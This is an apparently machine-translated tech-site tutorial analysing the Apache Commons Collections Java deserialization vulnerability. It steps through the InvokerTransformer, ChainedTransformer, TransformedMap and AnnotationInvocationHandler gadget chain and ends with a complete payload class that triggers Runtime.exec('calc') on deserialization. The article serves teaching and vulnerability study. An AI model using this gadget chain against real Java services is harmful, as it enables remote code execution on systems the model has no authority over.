Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Example Analysis of Java deserialization loophole

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article mainly explains the "Java deserialization vulnerability example analysis", the article explains the content is simple and clear, easy to learn and understand, the following please follow the editor's ideas slowly in depth, together to study and learn "Java deserialization vulnerability example analysis" bar!

Foreword:

Apache Commons Collections is a component of Apache Commons, and the problem with this vulnerability mainly occurs in the org.apache.commons.collections.Transformer interface. There is an InvokerTransformer in Apache commons.collections that implements the Transformer interface, which is mainly used to call the reflection mechanism of Java to call arbitrary functions.

Affect the component version: Project Structure-- > Libraries-- > + add the corresponding jar package

Second, loophole analysis

Since it is a deserialization vulnerability, let's assume that there is a statement like this:

FileInputStream fileInputStream = new FileInputStream ("unserialize.bin"); ObjectInputStream input = new ObjectInputStream (fileInputStream); Object object = input.readObject (); input.close (); fileInputStream.close ()

It means to take the binary data from the unserialize.bin binary file and deserialize it.

If the content of the unserialize.bin file is controllable (that is, the user can enter it), there may be a deserialization vulnerability.

(somewhat similar to deserialization of PHP, the premise is that there are classes or chains that can be used in the program.)

If the program uses components of a lower version of Apache Commons, then the corresponding input can be constructed to achieve the purpose of RCE.

The following is an analysis of the classes used in commons.collections:

There is a Transformer interface in this component:

Package org.apache.commons.collections;public interface Transformer {Object transform (Object var1);}

There is a class that implements this interface, InvokerTransformer, which you can look at the source code:

Public class InvokerTransformer implements Transformer, Serializable {private final String iMethodName;private final Class [] iParamTypes;private final Object [] iArgs;public InvokerTransformer (String methodName, Class [] paramTypes, Object [] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;} public Object transform (Object input) {if (input = = null) {return null;} else {try {Class cls = input.getClass (); Method method = cls.getMethod (this.iMethodName, this.iParamTypes); return method.invoke (input, this.iArgs) } catch (NoSuchMethodException var5) {throw new FunctorException ("InvokerTransformer: The method'" + this.iMethodName + "'on'" + input.getClass () + "'does not exist");} catch (IllegalAccessException var6) {throw new FunctorException ("InvokerTransformer: The method'" + this.iMethodName + "on"+ input.getClass () +" 'cannot be accessed ") } catch (InvocationTargetException var7) {throw new FunctorException ("InvokerTransformer: The method'" + this.iMethodName + "'on'" + input.getClass () + "'threw an exception", var7);}

If you take a closer look at the transform method, you can see that the reflection mechanism is used to call any method of the incoming object.

The above three parameters mean:

MethodName: method name

ParamTypes: parameter typ

Args: the parameter value passed in to the method

Generally speaking, if you want to RCE, you need to use the class Runtime, but the constructor of Runtime is a private method, so you can't instantiate it directly. You need to call static methods to instantiate it, for example:

Runtime.getRuntime.exec ("calc")

If you want to directly call the transform method of InvokerTransformer above to execute the command, you can write:

Runtime runtime = Runtime.getRuntime (); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec", new Class [] {String.class}, new String [] {"calc"}); invokerTransformer.transform (runtime)

Personal understanding: the above method instantiates a Runtime object directly, but the Runtime class does not implement the serialization interface (you can see the source code), that is, Runtime instance objects cannot be serialized, so when building Payload, try not to appear Runtime instantiated objects in the program, so two classes are introduced:

ConstantTransformer class and ChainedTransformer class

Take a look at the ConstantTransformer class first:

Public ConstantTransformer (Object constantToReturn) {this.iConstant = constantToReturn;} public Object transform (Object input) {return this.iConstant;}

Its transform method returns the passed parameters directly.

Let's look at the ChainedTransformer class:

Public ChainedTransformer (Transformer [] transformers) {this.iTransformers = transformers;} public Object transform (Object object) {for (int I = 0; I < this.iTransformers.length; + + I) {object = this.iTransformers [I] .transform (object);} return object;}

The key part is here:

Object = this.iTransformers [I] .transform (object)

If iTransformers is the InvokerTransformer object above, we can construct multiple InvokerTransformer objects (note that iTransformers here is an array) and let this statement create an instance of Runtime through reflection, for example:

Transformer [] transformers = new Transformer [] {/ / get java.lang.classnew ConstantTransformer (Runtime.class), / / execute Runtime.class.getMethod ("getRuntime") new InvokerTransformer ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), / / execute Runtime.class.getMethod ("getRuntime"). Invoke () new InvokerTransformer ("invoke", new Class [] {Object.class, Object [] .class}) New Object [] {null, new Object [0]}), / / execute Runtime.class.getMethod ("getRuntime") .invoke () .execnew InvokerTransformer ("exec", new Class [] {String.class}, new Object [] {"calc"})} ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform ("123")

Constructed here, you can find that you can RCE simply by executing the chainedTransformer.transform () method.

However, since it is a deserialization vulnerability, the best use case is that when the input stream passed by the user is deserialized, it can be attacked directly (that is, the vulnerability will be triggered when the program calls the readObject method directly), so several other classes are introduced later:

TransformeMap and AnnotationInvocationHandler classes

Let's first take a look at the class TransformeMap:

Protected Object checkSetValue (Object value) {return this.valueTransformer.transform (value);}

There is a method called checkSetValue in this class, which calls valueTransformer.transform

That is to say, this.valueTransformer needs to be constructed as the value of the above chainedTransformer.

By analyzing the constructor, we find that this value can be constructed directly:

Public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap (map, keyTransformer, valueTransformer);} protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) {super (map); this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

(since TransformedMap is a protected constructor, you will initialize it with the static method decorate provided by this class.)

Next, follow up on TransformeMap's parent class, AbstractInputCheckedMapDecorator, where there is a static inner class:

Static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry (Entry entry, AbstractInputCheckedMapDecorator parent) {super (entry); this.parent = parent;} public Object setValue (Object value) {value = this.parent.checkSetValue (value); return super.entry.setValue (value);}}

The setValue method here calls checkSetValue, and if the this.parent points to the TransformeMap object we constructed earlier, then the leak point can be triggered.

Add this to the previous one: you can also command to execute

Map innerMap = new HashMap (); innerMap.put ("1", "1"); / / construct the TransformedMap object, bringing in the previously constructed transformerChainMap outerMap = TransformedMap.decorate (innerMap, null, transformerChain); / / return the inner class Entry Map.Entry onlyElement = (Map.Entry) outerMap.entrySet (). Iterator (). Next (); onlyElement.setValue ("123123")

Let's analyze this statement:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet (). Iterator (). Next ()

First call outerMap.entrySet (), that is, the entrySet method of TransformedMap:

Public Set entrySet () {return (Set) (this.isSetValueChecking ()? New AbstractInputCheckedMapDecorator.EntrySet (super.map.entrySet (), this): super.map.entrySet ();}

Follow up on this.isSetValueChecking:

Protected boolean isSetValueChecking () {return this.valueTransformer! = null;}

With the previous construction, we will return true here, that is, the above outerMap.entrySet () will return new AbstractInputCheckedMapDecorator.EntrySet (super.map.entrySet (), this)

Follow this class: (it is also a static inner class, in the same class as the MapEntry we need above)

Static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet (Set set, AbstractInputCheckedMapDecorator parent) {super (set); this.parent = parent;} public Iterator iterator () {return new AbstractInputCheckedMapDecorator.EntrySetIterator (super.collection.iterator (), this.parent);}}

As you can see, it assigns the transformerChain we passed in to parent

Then the program executes the iterator method, which is the one above:

Public Iterator iterator () {return new AbstractInputCheckedMapDecorator.EntrySetIterator (super.collection.iterator (), this.parent);}

Find that it returns another object, follow up on this object: (still a static inner class)

Static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySetIterator (Iterator iterator, AbstractInputCheckedMapDecorator parent) {super (iterator); this.parent = parent;} public Object next () {Entry entry = (Entry) super.iterator.next (); return new AbstractInputCheckedMapDecorator.MapEntry (entry, this.parent);}}

It also assigns the transformerChain we constructed earlier to parent

Finally, the program calls the next method, that is:

Public Object next () {Entry entry = (Entry) super.iterator.next (); return new AbstractInputCheckedMapDecorator.MapEntry (entry, this.parent);}

It is found that it exactly returns the inner class MapEntry that we finally need to construct, and assigns the parent exactly to the transformerChain value we constructed.

Finally, call onlyElement.setValue ("123123"); trigger command execution

At this point, it is not enough, because we want to construct an exploit chain that can trigger the vulnerability only by calling the deserialization function. We need to use the class AnnotationInvocationHandler (JDK version is less than 1.7), which overrides the readObject method and calls the setValue method of map:

Private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {s.defaultReadObject (); / / Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance (type);} catch (IllegalArgumentException e) {/ / Class is no longer an annotation type; all bets are offreturn;} Map memberType = memberTypes.get (name); if (memberType! = null) {/ / i.e. Member still existsObject value = memberValue.getValue () If (! (memberType.isInstance (value) | | value instanceof ExceptionProxy)) {memberValue.setValue (new AnnotationTypeMismatchExceptionProxy (value.getClass () + "[" + value + "]") .setMember (annotationType.members () .get (name));}

(this code is found on the Internet, and its own version of jdk is 1.8.)

Here we can find that memberValues is a map object, and we can pass parameters directly. It uses a statement like this:

For (Map.Entry memberValue: memberValues.entrySet ()) {memberValue.setValue (...)}

In fact, it is the same as the structure above:

MemberValues.entrySet (). Iterator (). Next ()

At this point, it is more obvious. When we pass in a constructed AnnotationInvocationHandler object, the target deserifies it, which results in arbitrary code execution.

Payload is as follows:

Import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.map.HashedMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.util.HashMap;import java.lang.reflect.Constructor;import java.util.Map;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method Public class test implements Serializable {public static void main (String [] args) throws Exception {Transformer [] transformers = {new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), new InvokerTransformer ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null, new Object [0]}), new InvokerTransformer ("exec", new Class [] {String.class}) New Object [] {"calc"})} Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put ("value", "2"); Map transformedmap = TransformedMap.decorate (map, null, transformerChain); Class clazz = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor (Class.class,Map.class); cons.setAccessible (true); Object ins = cons.newInstance (java.lang.annotation.Retention.class,transformedmap); / / serialize ins ByteArrayOutputStream exp = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (exp) Oos.writeObject (ins); oos.flush (); oos.close (); / / take the serialized data stream for deserialization and verify that ByteArrayInputStream out = new ByteArrayInputStream (exp.toByteArray ()); ObjectInputStream ois = new ObjectInputStream (out); Object obj = (Object) ois.readObject () }} Thank you for your reading. The above is the content of "Java deserialization vulnerability example Analysis". After the study of this article, I believe you have a deeper understanding of the problem of Java deserialization vulnerability example analysis, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report